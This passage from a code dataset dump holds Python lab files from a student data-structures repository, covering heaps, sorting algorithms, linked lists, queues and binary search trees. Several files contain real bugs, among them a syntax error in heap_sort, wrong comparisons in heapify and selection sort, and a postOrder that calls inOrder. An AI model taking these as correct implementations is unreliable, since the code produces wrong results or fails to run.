1, 3))\nprint(bfs([], [],graph, 4))\n\nprint(bfs_path([], [], graph, 2, 3))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef heapify(arr, length, i):\n large = i\n left = 2*i + 1\n right = 2*i + 2\n\n if left < large and arr[large] > arr[left]:\n large = left\n if right < large and arr[large] > arr[right]:\n large = right\n \n if large != i:\n arr[i] , arr[large] = arr[large] , arr[i]\n heapify(arr, length, large)\n\ndef heap_sort(arr):\n length = len(arr):\n for i in range(length, -1, -1):\n heapify(arr, length, i)\n for i in range(length-1 , 0 , -1):\n arr[i] , arr[0] = arr[0], arr[i]\n heapify(arr, i, 0)\n return arr\n\n\n\n" }, { "alpha_fraction": 0.5244343876838684, "alphanum_fraction": 0.5493212938308716, "avg_line_length": 25.590360641479492, "blob_id": "8769a45fb3de8c6cb7e04b8614097071044ac8e8", "content_id": "779b386ad97f7f396b375bd3d78573e22e85f99f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2210, "license_type": "no_license", "max_line_length": 116, "num_lines": 83, "path": "/LAB3/lab3_Queue.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from class_Queue import Queue\n\n# print(series.item[0])\n\nseries = Queue()\nseries.Enqueue(50)\nseries.Enqueue(5)\nseries.Enqueue(6)\nseries.Enqueue(1)\nseries.Enqueue(8)\nseries.Enqueue(3)\n\ndef encode(Queue):\n length = Queue.size()\n for i in range(0,length):\n if ord(Queue.item[i])!=32:\n if ord(Queue.item[i])+series.get() in range(91,96) or ord(Queue.item[i])+series.get() in range(123,127):\n Queue.Enqueue(chr(ord(Queue.item[i])+series.get()-26))\n temp = series.get()\n series.Dequeue()\n series.Enqueue(temp)\n else:\n Queue.Enqueue(chr(ord(Queue.item[i])+series.get()))\n temp = series.get()\n series.Dequeue()\n series.Enqueue(temp) \n else:\n Queue.Enqueue(chr(32))\n \n for i in range(0,length):\n Queue.Dequeue()\n for i in range(0,series.size()):\n series.Dequeue()\n series.Enqueue(2)\n series.Enqueue(5)\n series.Enqueue(6)\n series.Enqueue(1)\n series.Enqueue(8)\n series.Enqueue(3)\n \n\ndef decode(Queue):\n length = Queue.size()\n for i in range(0,length):\n if ord(Queue.item[i])!=32:\n if ord(Queue.item[i])+series.get() < 65 or ord(Queue.item[i])+series.get() in range(91,96):\n Queue.Enqueue(chr(ord(Queue.item[i])+26+series.get()))\n temp = series.get()\n series.Dequeue()\n series.Enqueue(temp)\n else:\n Queue.Enqueue(chr(ord(Queue.item[i])-series.get()))\n temp = series.get()\n series.Dequeue()\n series.Enqueue(temp) \n else:\n Queue.Enqueue(chr(32))\n \n for i in range(0,length):\n Queue.Dequeue()\n\n for i in range(0,series.size()):\n series.Dequeue()\n series.Enqueue(2)\n series.Enqueue(5)\n series.Enqueue(6)\n series.Enqueue(1)\n series.Enqueue(8)\n series.Enqueue(3)\n \nINPUT = 'I love Python'\n\ncode = Queue()\nfor i in range(0,len(INPUT)):\n code.Enqueue(INPUT[i])\n\nprint(code.show())\nencode(code)\nprint(code.show())\n# decode(code)\n# print(code.show())\n# encode(code)\n# print(code.show())\n\n\n\n" }, { "alpha_fraction": 0.5874316692352295, "alphanum_fraction": 0.6024590134620667, "avg_line_length": 21.18181800842285, "blob_id": "96418c97f97050f1796525896b17dace3954d1c4", "content_id": "b376aec64d92439a7a7a3c3eae0039c67b1735d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1464, "license_type": "no_license", "max_line_length": 60, "num_lines": 66, "path": "/LAB4/wtf/lab4.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from class_Linkedlist import LinkedList\nfrom class_Node import Node\n\n\ndef howmuchichoose(size, percent):\n return (percent*size)/100\ndef show(List):\n if len(List) == 0:\n print(\"List empty\")\n else:\n for i in range(0,len(List)):\n print(List[i],end='')\n print(\" \",end='')\n print('')\n\ndef bottomUp(percent, LinkedList):\n print(\"BottomUp Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LinkedList.size(), percent))\n print(length)\n for i in range(0,length):\n LinkedList.headtotail()\n print(\"Now : \",end='')\n print(LinkedList)\n\ndef riffle(percent, LL):\n print(\"Riffle Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LL.size(), percent))\n print(length)\n LL.riff(length)\n print(\"Now : \",end='')\n print(LL)\n\ndef deRiffle(percent, LL):\n print(\"De-Riffle Activated!!!\")\n percent = 100-percent\n length = int(howmuchichoose(LL.size(), percent))\n print(length)\n print(\"Now : \",end='')\n print(LL)\n\ndef deBottomUp(percent, LL):\n print(\"De-BottomUp Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LL.size(), percent))\n for i in range(0,length):\n LL.tailtohead()\n print(\"Now : \",end='')\n print(LL)\n\n\nLL = LinkedList()\ni = 1\nwhile i <= 10:\n LL.append(str(i))\n i += 1\n\n# print(\"In : \",end='')\nprint(LL)\nprint(LL.size())\n\n# bottomUp(30,LL)\n# riffle(50,LL)\n# # deRiffle(60,LL)\n# # deBottomUp(30,LL)\n" }, { "alpha_fraction": 0.5486891269683838, "alphanum_fraction": 0.562421977519989, "avg_line_length": 27.44378662109375, "blob_id": "43bbec11513c32a89c8d897c1c73d291b658ae41", "content_id": "a54678717669add29a01db02d6e8b43503f702fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4806, "license_type": "no_license", "max_line_length": 162, "num_lines": 169, "path": "/Round3greatAGAIN/KARN_HEAPSORT.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class DoublyLinkedList:\n class Node:\n def __init__(self, data, prev=None, next=None):\n self.data = data\n if prev is None:\n self.prev = None\n else:\n self.prev = prev\n if next is None:\n self.next = None\n else:\n self.next = next\n\n def __init__(self):\n self.header = self.Node(None, None, None)\n self.header.next = self.header.prev = self.header\n self.size = 0\n\n def __str__(self):\n s = 'LinkedList Data : '\n p = self.header.next\n for _ in range(len(self)):\n s += str(p.data)+' '\n p = p.next\n return s\n\n def __len__(self):\n return self.size\n\n def isEmpty(self):\n return self.size == 0\n\n def indexOf(self, data):\n q = self.header.next\n for i in range(len(self)):\n if q.data == data:\n return i\n q = q.next\n return -1\n\n def isIn(self, data):\n return self.indexOf(data) >= 0\n\n def nodeAt(self, i):\n p = self.header\n for _ in range(-1, i):\n p = p.next\n return p\n\n def insertBefore(self, q, data):\n p = q.prev\n x = self.Node(data, p, q)\n p.next = q.prev = x\n self.size += 1\n\n def append(self, data):\n self.insertBefore(self.nodeAt(len(self)), data)\n\n def add(self, i, data):\n self.insertBefore(self.nodeAt(i), data)\n\n def removeNode(self, q):\n p = q.prev\n x = q.next\n p.next = x\n x.prev = p\n self.size -= 1\n\n def delete(self, index):\n self.removeNode(self.nodeAt(index))\n\n def remove(self, data):\n q = self.header.next\n while q != self.header:\n if q.data == data:\n self.removeNode(q)\n break\n q = q.next\n\n\ndef print90(a,index = 0,level = 0):\n if index < len(a):\n print90(a,2*index+2,level+1)\n print(' '*level*3,end = '')\n print(a.nodeAt(index).data)\n print90(a,2*index+1,level+1)\n\ndef insert(a,d):\n a.append(d)\n perlocate(a,d)\n\ndef perlocate(a,d):\n index = a.indexOf(d)\n if index != 0:\n if index%2 == 0:\n #right subtree\n fatherIndex = (int)((index-2) / 2)\n else:\n #left subtree\n fatherIndex = (int)((index-1) / 2)\n if a.nodeAt(fatherIndex).data > d:\n temp = a.nodeAt(fatherIndex).data\n a.nodeAt(fatherIndex).data = d\n a.nodeAt(index).data = temp\n perlocate(a,d)\n else:\n return\n\ndef deleteMin(a):\n holeIndex = 0\n temp = a.nodeAt(holeIndex).data\n holeLeftIndex = holeIndex*2 + 1\n holeRightIndex = holeIndex*2 + 2\n while (holeLeftIndex < len(a) or holeRightIndex < len(a)):\n if holeLeftIndex < len(a) and holeRightIndex < len(a):\n if a.nodeAt(holeLeftIndex).data > temp and a.nodeAt(holeRightIndex).data > temp:\n a.nodeAt(holeIndex).data = a.nodeAt(holeLeftIndex).data if a.nodeAt(holeLeftIndex).data < a.nodeAt(holeRightIndex).data else a.nodeAt(holeRightIndex).data\n holeIndex = holeLeftIndex if a.nodeAt(holeLeftIndex).data < a.nodeAt(holeRightIndex).data else holeRightIndex\n elif a.nodeAt(holeLeftIndex).data > temp or a.nodeAt(holeRightIndex).data > temp:\n a.nodeAt(holeIndex).data = a.nodeAt(holeLeftIndex).data if a.nodeAt(holeLeftIndex).data > temp else a.nodeAt(holeRightIndex).data\n holeIndex = holeLeftIndex if a.nodeAt(holeLeftIndex).data > temp else holeRightIndex\n else: break\n else:\n if holeLeftIndex < len(a) and a.nodeAt(holeLeftIndex).data > temp:\n a.nodeAt(holeIndex).data = a.nodeAt(holeLeftIndex).data\n holeIndex = holeLeftIndex\n elif holeRightIndex < len(a) and a.nodeAt(holeRightIndex).data > temp:\n a.nodeAt(holeIndex).data = a.nodeAt(holeRightIndex).data\n holeIndex = holeRightIndex \n else: break \n ###\n holeLeftIndex = holeIndex*2 + 1\n holeRightIndex = holeIndex*2 + 2\n a.nodeAt(holeIndex).data = temp\n return temp\n \n###############################################\ninpt = [68, 65, 32, 24, 26, 21, 19, 13, 16, 14]\nprint ('input array = ',inpt)\nheap = DoublyLinkedList()\nacs = []\nfor ele in inpt:\n print('insert ',ele)\n ##################\n insert(heap,ele)\n ##################\n print(heap,sep = ' ')\n print90(heap)\n print('------------')\n\nprint('***deleteMin***')\nprint('input heap:\\n')\nprint(heap,sep=' ')\nprint90(heap)\nprint('==== heap sort ====')\nfor i in range(len(heap)):\n print('deleteMin =',heap.nodeAt(0).data,end = ' FindPlaceFor ')\n acs.append(deleteMin(heap))\n print(heap.nodeAt(0).data)\n print(heap,sep=' ')\n print90(heap)\n\nprint('==== Sorting ascending ====')\nprint(*acs,sep=' ')\nprint('==== Sorting descending ====')\nprint(heap,sep=' ')\n\nprint()\nprint('Finished')" }, { "alpha_fraction": 0.4917127192020416, "alphanum_fraction": 0.5064456462860107, "avg_line_length": 17.689655303955078, "blob_id": "17180134ec5964adafe8363e995e7d96dde79c9a", "content_id": "4d7437639ed8233ef04a72af0b6f3cba6b699f73", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 543, "license_type": "no_license", "max_line_length": 42, "num_lines": 29, "path": "/LABxAKIO/LAB4_node.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, next = None):\n self.data = data\n if next is None:\n self.next = None\n else:\n self.next = next\n def __str__(self):\n return str(self.data)\n\n def getData(self):\n return self.data\n \n def getNext(self):\n return self.next\n\n def setData(self, data):\n self.data = data\n \n def setNext(self, next):\n self.next = next\n \n\na4 = Node('D')\na3 = Node('C',a4)\na2 = Node('B',a3)\na1 = Node('A',a2)\n\nprint(a1.getNext())\n\n" }, { "alpha_fraction": 0.5875486135482788, "alphanum_fraction": 0.6011673212051392, "avg_line_length": 22.69230842590332, "blob_id": "61529699219bcbe3b04cfe72019041719a186986", "content_id": "9c603c99a44c4c188091139e5e7d6ee5c12174a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1542, "license_type": "no_license", "max_line_length": 60, "num_lines": 65, "path": "/LAB4/lab4v2linkedlist.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from Node import Node\nfrom Linkedlist import LinkedList\n\ndef howmuchichoose(size, percent):\n return (percent*size)/100\ndef show(List):\n if len(List) == 0:\n print(\"List empty\")\n else:\n for i in range(0,len(List)):\n print(List[i],end='')\n print(\" \",end='')\n print('')\n\ndef bottomUp(percent, LinkedList):\n # print(\"BottomUp Activated!!!\")\n percent = percent\n # print(LinkedList.size())\n length = int(howmuchichoose(LinkedList.size(), percent))\n # print(length)\n for i in range(0,length):\n LinkedList.headtotail()\n # print(\"Now : \",end='')\n print(LinkedList)\n\ndef riffle(percent, LL):\n # print(\"Riffle Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LL.size(), percent))\n # print(length)\n # LL.insert_specindex('X','4')\n LL.riff(length)\n # print(\"Now : \",end='')\n print(LL)\n\ndef deRiffle(percent, LL):\n# print(\"De-Riffle Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LL.size(), percent))\n# print(length)\n LL.driff(length)\n# print(\"Now : \",end='')\n print(LL)\n\ndef deBottomUp(percent, LL):\n # print(\"De-BottomUp Activated!!!\")\n percent = percent\n length = int(howmuchichoose(LL.size(), percent))\n # print(length)\n for i in range(0,length):\n LL.tailtohead()\n # print(\"Now : \",end='')\n print(LL)\n\nLL = LinkedList()\nfor i in range(1,11):\n LL.append(str(i))\n\n# print(\"start \",end='')\n# print(LL)\n\nbottomUp(130,LL)\nriffle(60,LL)\ndeRiffle(60,LL)\ndeBottomUp(130,LL)\n\n\n" }, { "alpha_fraction": 0.38395243883132935, "alphanum_fraction": 0.3988112807273865, "avg_line_length": 23.224637985229492, "blob_id": "97cce80e6974eecf94324974a25d4917dc3d66b1", "content_id": "9d7837a20ddef5bb78a417fcbddc4cab8e6de3c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3365, "license_type": "no_license", "max_line_length": 52, "num_lines": 138, "path": "/testVSCODE/SORT.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "\n#! ----- Buble SORT ---- !#\n\ndef bubble_sort(l, mode):\n length = len(l)\n if mode is 'min':\n for i in range(0, length):\n for j in range(i+1,length):\n if l[i] > l[j]:\n temp = l[j]\n l[j] = l[i]\n l[i] = temp\n elif mode is 'max':\n for i in range(0, length):\n for j in range(i+1,length):\n if l[i] < l[j]:\n temp = l[j]\n l[j] = l[i]\n l[i] = temp\n print(mode, ' Bubble_sort : ',l)\n\n\ndef selection_sort(l,mode):\n length = len(l)\n if mode is 'min':\n for i in range(0, length):\n min = i\n for j in range(i+1, length):\n if l[j] < l[i]:\n min = j\n temp = l[i]\n l[i] = l[min]\n l[min] = temp\n elif mode is 'max':\n for i in range(0, length):\n min = i\n for j in range(i+1, length):\n if l[j] > l[i]:\n min = j\n temp = l[i]\n l[i] = l[min]\n l[min] = temp\n print(mode, ' Selection_sort : ',l)\n\ndef insertion_sort(l, mode):\n length = len(l)\n if mode is 'min':\n for i in range(1, length):\n temp = l[i]\n j = i\n while j > 0 and l[j-1] >= temp:\n l[j] = l[j-1]\n j-=1\n l[j] = temp\n elif mode is 'max':\n for i in range(1, length):\n temp = l[i]\n j = i\n while j > 0 and l[j-1] < temp:\n l[j] = l[j-1]\n j-=1\n l[j] = temp\n print(mode, ' Insertion_sort : ',l)\n\n\ndef shell_sort(l, mode):\n length = len(l)\n gap = length//2\n if mode is 'min':\n while gap > 0:\n for i in range(gap, length):\n temp = l[i]\n j = i\n while j >= gap and l[j-gap] >= temp:\n l[j] = l[j-gap]\n j -= gap\n l[j] = temp\n gap //= 2\n elif mode is 'max':\n while gap > 0:\n for i in range(gap, length):\n temp = l[i]\n j = i\n while j >= gap and l[j-gap] < temp:\n l[j] = l[j-gap]\n j -= gap\n l[j] = temp\n gap //= 2\n\n\n print(mode, ' Shell_sort : ',l)\n\n\n\ndef merge(arrA, arrB): #!<------ use for merge list\n arrOUT = []\n while len(arrA) != 0 and len(arrB) != 0:\n if arrA[0] > arrB[0]:\n arrOUT.append(arrB[0])\n arrB.pop(0)\n else:\n arrOUT.append(arrA[0])\n arrA.pop(0)\n \n while len(arrA) != 0:\n arrOUT.append(arrA[0])\n arrA.pop(0)\n while len(arrB) != 0:\n arrOUT.append(arrB[0])\n arrB.pop(0)\n \n return arrOUT\n\n\ndef Merge_sort(l):\n length = len(l)\n if length == 1:\n return l\n arrayA = l[0:length//2]\n arrayB = l[length//2:]\n\n arrayA = Merge_sort(arrayA)\n arrayB = Merge_sort(arrayB)\n\n return merge(arrayA, arrayB)\n\n\nl = [12,45,6,88,9,0]\n\nprint(Merge_sort(l))\n\n# bubble_sort(l,'min')\n# bubble_sort(l,'max')\n# selection_sort(l, 'min')\n# selection_sort(l, 'max')\n# insertion_sort(l, 'min')\n# insertion_sort(l, 'max')\n# shell_sort(l, 'min')\n# shell_sort(l, 'max')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5021702647209167, "alphanum_fraction": 0.5081803202629089, "avg_line_length": 24.64655113220215, "blob_id": "8be8b63d77c45e661c120118a175e006ddb4d629", "content_id": "807f78ffb9fe1398a3e7407e1fb727e0ebe8e254", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2995, "license_type": "no_license", "max_line_length": 65, "num_lines": 116, "path": "/testVSCODE/BST.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None, parent=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n self.parent = None if parent is None else parent\n\n def __str__(self):\n return str(self.data)\n\ndef insert(root, data):\n if not root:\n return Node(data)\n else:\n if data < root.data:\n root.left = insert(root.left, data)\n root.left.parent = root\n elif data >= root.data:\n root.right = insert(root.right, data)\n root.right.parent = root\n \n return root\n\ndef find(root, data):\n if root.data == data:\n return True\n else:\n if data < root.data and root.left:\n return find(root.left, data)\n elif data >= root.data and root.right:\n return find(root.right, data)\n else:\n return False\n\ndef ISP(root, parent):\n if root.left:\n return ISP(root.left, root)\n else:\n temp = root.data\n delete(parent, root.data)\n return temp\n\ndef delete(root, data, parent=None):\n if root:\n if data > root.data:\n delete(root.right, data, root)\n else:\n delete(root.left, data, root)\n\n if data is root.data:\n #! NO children\n if root.left is None and root.right is None:\n if parent:\n if parent.right is root:\n parent.right = None\n else:\n parent.left = None\n else:\n root.data = None\n \n #! has 2 children\n\n elif root.left and root.right:\n root.data = ISP(root.right, root)\n \n #! has only one child\n else:\n lower = root.right if root.right else root.left\n if parent:\n if parent.right is root:\n parent.right = lower\n else:\n parent.left = lower\n else:\n root = lower\n\ndef preOrder(root,l):\n l.append(root.data)\n if root.left:\n preOrder(root.left, l)\n if root.right:\n preOrder(root.right, l)\n return l\n\ndef inOrder(root, l):\n if root.left:\n inOrder(root.left, l)\n l.append(root.data)\n if root.right:\n inOrder(root.right, l)\n return l\n\n\ndef postOrder(root, l):\n if root.left:\n inOrder(root.left, l)\n if root.right:\n inOrder(root.right, l)\n l.append(root.data)\n return l\n\ndef printTree(root,lv):\n if root is not None:\n printTree(root.right, lv+1)\n print(' '*lv, root.data, sep=' ')\n printTree(root.left, lv+1)\n\nl = [11,44,6,7,88,99,10,20]\nroot = None\nfor i in l:\n root = insert(root,i)\n\nprint(preOrder(root, []))\nprint(inOrder(root, []))\nprint(postOrder(root, []))\nprintTree(root, 0)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.46312326192855835, "alphanum_fraction": 0.4684903025627136, "avg_line_length": 25.976634979248047, "blob_id": "fa040c9a68fd90d725e3df98dc2f764c8ae3f284", "content_id": "c7c63c1989ea2f0911ffd925155f7084e7e05dc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5776, "license_type": "no_license", "max_line_length": 67, "num_lines": 214, "path": "/LAB07-TreeAll/BinarySearch.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "class Node:\n def __init__(self, data, left=None, right=None):\n self.data = data\n self.left = None if left is None else left\n self.right = None if right is None else right\n \n def __str__(self):\n return str(self.data)\n \n def insert(self, data):\n if self.data == data:\n return False\n elif data < self.data:\n if self.left:\n return self.left.insert(data)\n else:\n self.left = Node(data)\n return True\n elif data >= self.data:\n if self.right:\n return self.right.insert(data)\n else:\n self.right = Node(data)\n return True\n else:\n return False\n \n def find(self, data):\n if self.data == data:\n return True\n elif data < self.data and self.left:\n return self.left.find(data)\n elif data > self.data and self.right:\n return self.right.find(data)\n return False\n \n def path(self, data, path):\n if self.data == data:\n path.append(self.data)\n elif data < self.data and self.left:\n path.append(self.data)\n return self.left.path(data,path)\n elif data > self.data and self.right:\n path.append(self.data)\n return self.right.path(data,path)\n return path\n\n def preOrder(self, l):\n l.append(self.data)\n if self.left:\n self.left.preOrder(l)\n if self.right:\n self.right.preOrder(l)\n return l\n\n def inOrder(self, l):\n if self.left:\n self.left.inOrder(l)\n l.append(self.data)\n if self.right:\n self.right.inOrder(l)\n return l\n\n def postOrder(self, l):\n if self.left:\n self.left.postOrder(l)\n if self.right:\n self.right.postOrder(l)\n l.append(self.data)\n return l\n \n def printRoot(self):\n print(self.left, self.data, self.right)\n \n #1 no child \n # no parent\n # set NONE\n # has parent\n # set parent left and right to our child\n #2 has 2 child\n # no parent = root node\n # find right and left until out\n # has parent\n\n\nclass BST:\n def __init__(self, root=None):\n self.root = None if root is None else root\n \n def insert(self, data):\n if self.root is not None:\n return self.root.insert(data)\n else:\n self.root = Node(data)\n return True\n \n def find(self, data):\n if self.root:\n return self.root.find(data)\n else:\n return False\n \n def path(self, data):\n if self.path:\n return self.root.path(data,[])\n else:\n return False\n\n def preOrder(self):\n if self.root:\n return self.root.preOrder([])\n else:\n return []\n \n def inOrder(self):\n if self.root:\n return self.root.inOrder([])\n else:\n return []\n \n def postOrder(self):\n if self.root:\n return self.root.postOrder([])\n else:\n return []\n \n #1 no child \n # no parent\n # set NONE\n # has parent\n # set parent left and right to our child\n #2 has 2 child\n # no parent = root node\n # find right and left until out\n # has parent\n #3 has only one child \n \n def ISP(self, root, father):\n if root.left:\n return BST.ISP(self, root.left, root)\n else:\n temp = root.data\n BST._remove(self, father, root.data)\n \n return temp\n \n\n def remove(self, data):\n BST._remove(self, self.root, data)\n\n def _remove(self, root, data, father=None):\n if root:\n if data >= root.data:\n BST._remove(self, root.right, data, root)\n else:\n BST._remove(self, root.left, data, root)\n \n if root.data is data:\n #No child\n if root.left is None and root.right is None:\n if father:\n if father.right is root:\n father.right = None\n else:\n father.left = None\n else:\n self.root = None\n \n # has 2 child\n elif root.left and root.right:\n root.data = BST.ISP(self, root.right, root)\n \n # one child\n else:\n lower = root.right if root.right else root.left\n if father:\n if father.right is root:\n father.right = lower\n else:\n father.left = lower\n else:\n self.root = lower\n \n \n def printTree(self):\n BST._printTree(self.root, 0)\n print()\n\n def _printTree(root, level):\n if root is not None:\n BST._printTree(root.right, level+1)\n print(' '*level, root.data, sep='')\n BST._printTree(root.left, level+1)\n\n\nl = [14,4,9,7,15,3,18,16,20,5,16]\n# l = [14]\nx = BST()\nfor ele in l:\n x.insert(ele)\n\nprint(\"preOrder : \",x.preOrder())\nprint(\"inOrder : \",x.inOrder())\nprint(\"postOrder : \",x.postOrder())\n\n# for a in l:\n# print(a,' : ',x.path(a))\nprint('-----TREE-----')\nx.printTree()\n# x.remove(4)\n# print('--------------')\n# x.printTree()\n# print('delete already')\n# print(x.root.left.right)\n\n\n\n" }, { "alpha_fraction": 0.41537410020828247, "alphanum_fraction": 0.4210766553878784, "avg_line_length": 24.160919189453125, "blob_id": "9b83b37297a6c6d379d44a06cd82334df9a18b10", "content_id": "4fe9df3d92b73c14989ed26ca538639f3c18eed9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4384, "license_type": "no_license", "max_line_length": 54, "num_lines": 174, "path": "/LAB4/wtf/class_Linkedlist.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from class_Node import Node\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n\n def size(self):\n temp = self.head\n length = 0\n while temp != None:\n length += 1\n temp = temp.next\n return length\n\n def isEmpty(self):\n return self.size() == 0\n\n def append(self, data):\n p = Node(data)\n # if self.head == None:\n # self.head = p\n # else:\n # t = self.head\n # while t.next != None:\n # t = t.next\n # t.next = p\n if self.head == None:\n self.head = p\n else:\n t = self.head\n while t.next != None:\n t = t.next\n t.next = p\n \n \n\n\n def addHead(self, data):\n if(self.head == None):\n self.head = data\n else:\n data.next = self.head\n self.head = data\n\n def isIn(self, data):\n temp = self.head\n found = False\n while temp != None:\n if(temp.data == data):\n found = True\n break\n temp = temp.next\n return found\n \n def before(self, data):\n check = data\n temp = self.head\n count = 0\n if self.isIn(data):\n while (temp.data != check):\n count += 1\n temp = temp.next\n temp = self.head\n for i in range(0,count-1):\n temp = temp.next\n if temp != None:\n print(\"Found is \",end='')\n print(temp)\n else:\n print(\"Not Found\")\n\n # def remove(self, data):\n # if self.isIn(data): \n # select = None\n # pointer = self.head\n # b4point = None\n # aftpoint = None\n # while pointer.data != data:\n # check = pointer\n # b4point = pointer\n # pointer = pointer.next\n # aftpoint = pointer.next\n # b4point.setNext(aftpoint)\n # else:\n # print(\"Data isn't in Linkedlist\")\n\n def remove(self, data):\n head = self.head\n if head.data == data:\n self.removeHead()\n elif self.isIn(data):\n p1 = self.head\n p2 = p1.next\n \n while p2.next != None and p2.data != data:\n p1 = p1.next\n p2 = p2.next\n # print(p2)\n if p2.next != None:\n temp = p2.next\n p2.setNext()\n p1.setNext(temp)\n else:\n p1.setNext()\n \n else:\n print(data,end='')\n print(\" isn't in Linkedlist\")\n\n def removeTail(self):\n tail = None\n if self.head != None:\n if self.head.next == None:\n tail = self.head\n self.head = None\n else:\n temp = self.head\n while temp.next.next != None:\n temp = temp.next\n tail = temp.next\n temp.next = None\n return tail\n\n def getTail(self):\n tail = None\n tail = self.head\n while tail.next != None:\n tail = tail.next\n return tail\n \n def getHead(self):\n tail = self.head\n if self.head != None:\n tail = self.head\n return tail\n\n def removeHead(self):\n tail = self.head\n if self.head != None:\n self.head = self.head.next\n return tail\n\n # def __str__(self):\n # p = self.head\n # str = ''\n # if self.head == None:\n # str = ''\n # else:\n # while p.next != None:\n # str += p.data + ' '\n # p = p.next\n # return str\n\n def __str__(self):\n temp = self.head\n str = ''\n while temp.next != None:\n str += temp.data + ' '\n temp = temp.next\n return str\n \n def headtotail(self):\n # head = self.removeHead()\n # tail = self.getTail()\n # head.setNext()\n # tail.setNext(head)\n head = self.removeHead()\n print(head)\n\n def tailtohead(self):\n tail = self.removeTail()\n self.addHead(tail)\n\n def riff(self, length):\n pointer = self.head\n\n\n " }, { "alpha_fraction": 0.43621620535850525, "alphanum_fraction": 0.45702701807022095, "avg_line_length": 23.25657844543457, "blob_id": "e19f62396e9425efe48a949e6a3d49b246e6f754", "content_id": "ee62f5fbce9c7a64d225b69211b51a622b08cc7f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3700, "license_type": "no_license", "max_line_length": 65, "num_lines": 152, "path": "/LAB1/MAIN/MAIN/LinkedList.py", "repo_name": "akio777/Data_Structure", "src_encoding": "UTF-8", "text": "from Node import Node\nfrom Stack import Stack\nfrom Queue import Queue\n\ndef getunit(num):\n return (num%10)\n\ndef gettenit(num):\n return num%100\n\ndef gethunit(num):\n return int(num/100)\n\ndef RANGEunit(num):\n if num in range(0,10):\n return 0\n elif num in range(10,20):\n return 1\n elif num in range(20,30):\n return 2\n elif num in range(30,40):\n return 3\n elif num in range(40,50):\n return 4\n elif num in range(50,60):\n return 5\n elif num in range(60,70):\n return 6\n elif num in range(70,80):\n return 7\n elif num in range(80,90):\n return 8\n elif num in range(90,100):\n return 9\n\n\nclass LinkedList:\n def __init__(self, head=None):\n self.head = head\n def size(self):\n p = self.head\n count = 1\n while p.next != None:\n count += 1\n p = p.next\n return count\n def isEmpty(self):\n return self.size() == 0\n def append(self, data):\n if isinstance(data, Node):\n newNode = data\n else:\n newNode = Node(data)\n if self.head is None:\n self.head = newNode\n else:\n p = self.head\n while True:\n if p.next is None:\n p.next = newNode\n break\n p = p.next\n\n def isIn(self, data):\n p = self.head\n found = False\n while p != None:\n if p.data == data:\n found = True\n break\n p = p.next\n return found\n\n def __str__(self):\n p = self.head\n s = ''\n while p != None:\n s += str(p.data)+' '\n p = p.next\n return \"in LinkedList : \" + s\n\n def before(self, data):\n p = self.head\n count = 0\n if self.isIn(data):\n while p.next.data != data:\n count += 1\n p = p.next\n return p\n else:\n print(data,\" Not Found\")\n\n def getHead(self):\n return self.head\n\n def getTail(self):\n p = self.head\n while p.next != None:\n p = p.next\n return p\n\n def addHead(self, data):\n if isinstance(data, Node):\n newNode = data\n else:\n newNode = Node(data)\n newNode.setNext(self.head)\n self.head = newNode\n\n def removeHead(self):\n p = self.head\n self.head = p.next\n\n def remove(self, data):\n p = self.head\n if p is data:\n self.removeHead()\n elif self.isIn(data):\n prev = self.head\n current = prev.next\n while current.data != data:\n prev = prev.next\n current = current.next\n prev.setNext(current.next)\n current.setNext()\n\n return current\n\n def sortunit(self):\n Length = self.size()\n temp = []\n sort = [[],[],[],[],[],[],[],[],[],[]]\n p = self.head\n while p != None:\n temp.append(p.getData())\n p = p.next\n for i in range(0,Length):\n sort[getunit(temp[i])] = temp[i]\n #print(sort)\n unit100 = [[], [], [], [], [], [], [], [], [], []]\n for i in range(0,Length):\n unit100[RANGEunit(gettenit(sort[i]))].append(sort[i])\n UNIT = []\n for i in range(0,Length):\n UNIT.extend(unit100[i])\n Qu = [[], [], [], [], [], [], [], [], [], []]\n for i in range(0,Length):\n Qu[gethunit(UNIT[i])].append(UNIT[i])\n OUTPUT = []\n for i in range(0,Length):\n OUTPUT.extend(Qu[i])\n return OUTPUT\n \n \n\n" }, { "alpha_fraction": 0.4811420440673828, "alphanum_fraction": 0.48924919962882996, "avg_line_length": 24.549549102783203, "blob_id": "d7231f43e117bbfab2d4df51b8befe29b20a2bd3", "content_id": "25bc74ef6d4a9569423c18fdc54c3368ef15c845", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2837, "license_type": "no_license", "max_line_length": 56, "num_lines": 111, 